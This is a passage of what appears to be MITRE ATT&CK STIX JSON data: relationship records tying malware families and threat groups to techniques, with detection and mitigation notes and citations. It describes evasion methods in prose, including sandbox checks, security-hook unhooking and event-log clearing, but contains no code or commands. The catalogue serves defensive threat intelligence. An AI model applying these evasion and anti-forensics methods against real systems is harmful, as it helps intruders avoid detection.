2018)","relationship_type":"uses","source_ref":"malware--fa766a65-5136-4ff3-8429-36d08eaa0100","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4c94f67d-6662-44ea-be75-ded8b2dbfa00","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Savill 1999","description":"Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.","url":"https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-01T04:34:30.864Z","description":"Commands such as net use and net session can be used in [Net](https://attack.mitre.org/software/S0039) to gather information about network connections from a particular host.(Citation: Savill 1999)","relationship_type":"uses","source_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4c998857-39b2-4c8c-a11c-089c469f7b33","type":"relationship","created":"2020-02-11T18:48:48.762Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:48:48.762Z","relationship_type":"revoked-by","source_ref":"attack-pattern--1c2fd73a-e634-44ed-b1b5-9e7cf7404e9f","target_ref":"attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4ca73e82-4e56-4044-a21a-d613a80f171c","created":"2023-09-21T22:50:57.499Z","revoked":false,"external_references":[{"source_name":"Unit42 OceanLotus 2017","description":"Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.","url":"https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-21T22:50:57.499Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) uses a decode routine combining bit shifting and XOR operations with a variable key that depends on the length of the string that was encoded. If the computation for the variable XOR key turns out to be 0, the default XOR key of 0x1B is used. This routine is also referenced as the `rotate` function in reporting.(Citation: Unit42 OceanLotus 2017)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4caab538-217d-4395-b241-34765482c338","type":"relationship","created":"2020-01-24T17:16:12.018Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T17:16:12.018Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4cacddfb-d437-4495-bacb-08b316814c1d","type":"relationship","created":"2021-07-16T15:48:35.937Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Eli Salem GuLoader April 2021","url":"https://elis531989.medium.com/dancing-with-shellcodes-cracking-the-latest-version-of-guloader-75083fb15cb4","description":"Salem, E. (2021, April 19). Dancing With Shellcodes: Cracking the latest version of Guloader. Retrieved July 7, 2021."}],"modified":"2021-07-16T15:48:35.937Z","description":"[GuLoader](https://attack.mitre.org/software/S0561) has the ability to perform anti-VM and anti-sandbox checks using string hashing, the API call EnumWindows, and checking for Qemu guest agent.(Citation: Medium Eli Salem GuLoader April 2021)","relationship_type":"uses","source_ref":"malware--45c759ac-b490-48bb-80d4-c8eee3431027","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4caf9f0d-dfe9-48ce-9b6e-812577e09711","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Transparent Tribe August 2020","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.","url":"https://securelist.com/transparent-tribe-part-1/98127/"},{"source_name":"Proofpoint Operation Transparent Tribe March 2016","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"},{"source_name":"Cisco Talos Transparent Tribe Education Campaign July 2022","description":"N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.","url":"https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T20:20:19.694Z","description":"[Crimson](https://attack.mitre.org/software/S0115) contains a command to collect the victim PC name, disk drive information, and operating system.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4cb1a0d0-6276-4c2c-b299-c26c982e9e1e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://labs.lastline.com/an-analysis-of-plugx","description":"Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.","source_name":"Lastline PlugX Analysis"},{"source_name":"CIRCL PlugX March 2013","url":"http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf","description":"Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."}],"modified":"2019-04-19T15:08:15.965Z","description":"[PlugX](https://attack.mitre.org/software/S0013) can enumerate and query for information contained within the Windows Registry.(Citation: Lastline PlugX Analysis)(Citation: CIRCL PlugX March 2013)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4cb25ac9-9eb9-47ee-b3f9-53c5a6365c46","type":"relationship","created":"2021-08-12T14:57:30.361Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sogeti CERT ESEC Babuk March 2021","url":"https://www.sogeti.com/globalassets/reports/cybersecchronicles_-_babuk.pdf","description":"Sogeti. (2021, March). Babuk Ransomware. Retrieved August 11, 2021."},{"source_name":"McAfee Babuk February 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf","description":"Mundo, A. et al. (2021, February). Technical Analysis of Babuk Ransomware. Retrieved August 11, 2021."},{"source_name":"Medium Babuk February 2021","url":"https://sebdraven.medium.com/babuk-is-distributed-packed-78e2f5dd2e62","description":"Sebdraven. (2021, February 8). Babuk is distributed packed. Retrieved August 11, 2021."}],"modified":"2021-10-04T13:25:58.135Z","description":"Versions of [Babuk](https://attack.mitre.org/software/S0638) have been packed.(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: McAfee Babuk February 2021)(Citation: Medium Babuk February 2021)","relationship_type":"uses","source_ref":"malware--61c7a91a-0b83-461d-ad32-75d96eed4a09","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4cbb6696-8000-46b8-a35d-afb0a25865be","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GlobalDotName Jun 2019","description":"Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.","url":"https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique"},{"source_name":"MRWLabs Office Persistence Add-ins","description":"Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.","url":"https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/"}]},{"type":"relationship","id":"relationship--4cbd1250-5e79-46c0-b38f-83bd5942f44c","created":"2019-09-23T23:08:25.342Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.515Z","description":"[APT41](https://attack.mitre.org/groups/G0096) attempted to remove evidence of some of its activity by clearing Windows security and system events.(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4cc0ca4c-3d7b-4fd8-b8ad-0a987da94d33","created":"2022-09-29T20:29:15.454Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T20:29:15.454Z","description":"(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f","target_ref":"malware--166c0eca-02fd-424a-92c0-6b5106994d31","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4cc2992e-016b-47cb-a1be-5bcf808a34c2","created":"2024-05-22T22:54:26.516Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:54:26.516Z","description":"[BFG Agonizer](https://attack.mitre.org/software/S1136) uses DLL unhooking to remove user mode inline hooks that security solutions often implement. [BFG Agonizer](https://attack.mitre.org/software/S1136) also uses IAT unhooking to remove user-mode IAT hooks that security solutions also use.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"malware--d6aefbbf-fbef-485a-973e-b5403d8f8b18","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4cc39e53-3498-4ecc-a316-603f3a47dbf6","created":"2022-05-06T14:49:39.254Z","x_mitre_version":"0.1","external_references":[{"source_name":"Nviso Spoof Command Line 2020","url":"https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/","description":"Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021."},{"source_name":"Mandiant Endpoint Evading 2019","url":"https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode","description":"Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Analyze process behavior to determine if a process is performing actions it usually does not and/or do no align with its logged command-line arguments.\n\nDetection of process argument spoofing may be difficult as adversaries may momentarily modify stored arguments used for malicious execution. These changes may bypass process creation detection and/or later process memory analysis. Consider monitoring for [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), which includes monitoring for process creation (especially those in a suspended state) as well as access and/or modifications of these processes (especially by the parent process) via Windows API calls.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)","modified":"2022-05-06T14:49:39.254Z","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4cc3f3af-73f1-4f36-9e28-de4f8ecc3247","type":"relationship","created":"2019-01-30T20:01:45.383Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Cobalt Kitty 2017","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}],"modified":"2019-04-24T20:56:04.729Z","description":"[Denis](https://attack.mitre.org/software/S0354) uses ipconfig to gather the IP address from the system.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4cc78773-df9f-40d8-a2e5-eb2eadb05409","created":"2020-03-26T15:53:25.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Vulnerability and Exploit Detector","description":"Kanthak, S.. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017.","url":"https://skanthak.homepage.t-online.de/sentinel.html"},{"source_name":"Microsoft CreateProcess","description":"Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.","url":"https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa"},{"source_name":"Microsoft Dynamic-Link Library Security","description":"Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016.","url":"https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security?redirectedfrom=MSDN"},{"source_name":"Powersploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","url":"https://github.com/mattifestation/PowerSploit"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:25:57.060Z","description":"Use auditing tools capable of detecting hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for hijacking weaknesses.(Citation: Powersploit)\n\nUse the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.\n\nFind and eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them. Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate.\n\nClean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries. Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations.(Citation: Microsoft CreateProcess)(Citation: Microsoft Dynamic-Link Library Security)(Citation: Vulnerability and Exploit Detector)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4cc8afb8-86ab-4537-926f-3178975a7886","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.620Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has used several tools to scan for open NetBIOS nameservers and enumerate NetBIOS sessions.(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4cd2bbbd-211a-4771-9e9d-a60356c04257","created":"2023-09-26T20:30:02.230Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-26T20:30:02.230Z","description":"[SharpDisco](https://attack.mitre.org/software/S1089) can create scheduled tasks to execute reverse shells that read and write data to and from specified SMB shares.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--1fefb062-feda-484a-8f10-0cebf65e20e3","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4cd705fd-5192-4248-9627-4f6cf2d4c459","created":"2019-08-26T15:27:13.043Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Kimsuky Nov 2021","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"},{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"},{"source_name":"Securelist Kimsuky Sept 2013","description":"Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019.","url":"https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.410Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has deleted the exfiltrated data on disk after transmission. [Kimsuky](https://attack.mitre.org/groups/G0094) has also used an instrumentor script to terminate browser processes running on an infected system and then delete the cookie files on disk.(Citation: Securelist Kimsuky Sept 2013)(Citation: Talos Kimsuky Nov 2021)(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4cdd118b-5ad8-4607-94b2-be828038b5ff","type":"relationship","created":"2020-03-13T20:21:54.889Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-19T03:29:47.916Z","description":"Audit domain account permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. Limit credential overlap across systems to prevent access if account credentials are obtained.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ce1ed77-dc5d-42d8-838e-b927dc6d6afb","type":"relationship","created":"2019-06-28T17:40:32.421Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyphort EvilBunny Dec 2014","url":"https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/","description":"Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."}],"modified":"2021-04-02T00:14:14.149Z","description":"[EvilBunny](https://attack.mitre.org/software/S0396)'s dropper has checked the number of processes and the length and strings of its own file name to identify if the malware is in a sandbox environment.(Citation: Cyphort EvilBunny Dec 2014)\t","relationship_type":"uses","source_ref":"malware--a8a778f5-0035-4870-bb25-53dc05029586","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4ce5e752-97d6-4803-a49c-0f905729a133","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talent-Jump Clambling February 2020","description":"Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021.","url":"https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/"},{"source_name":"SecureWorks BRONZE UNION June 2017","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","url":"https://www.secureworks.com/research/bronze-union"},{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"},{"source_name":"Trend Micro DRBControl February 2020","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"},{"source_name":"Nccgroup Emissary Panda May 2018","description":"Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda – A potential new malicious tool. Retrieved June 25, 2018.","url":"https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.081Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used a modified version of Mimikatz called Wrapikatz.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018)(Citation: Trend Micro DRBControl February 2020)(Citation: Talent-Jump Clambling February 2020)(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ceb5590-5539-424c-9859-1a35d62bbf04","type":"relationship","created":"2020-11-17T19:16:59.823Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-17T19:16:59.823Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) can clear and remove event logs.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4cf22fd0-af3a-41b7-b0ad-07b73b6d5516","type":"relationship","created":"2021-02-10T19:12:08.179Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-02-10T19:12:08.179Z","description":"[Caterpillar 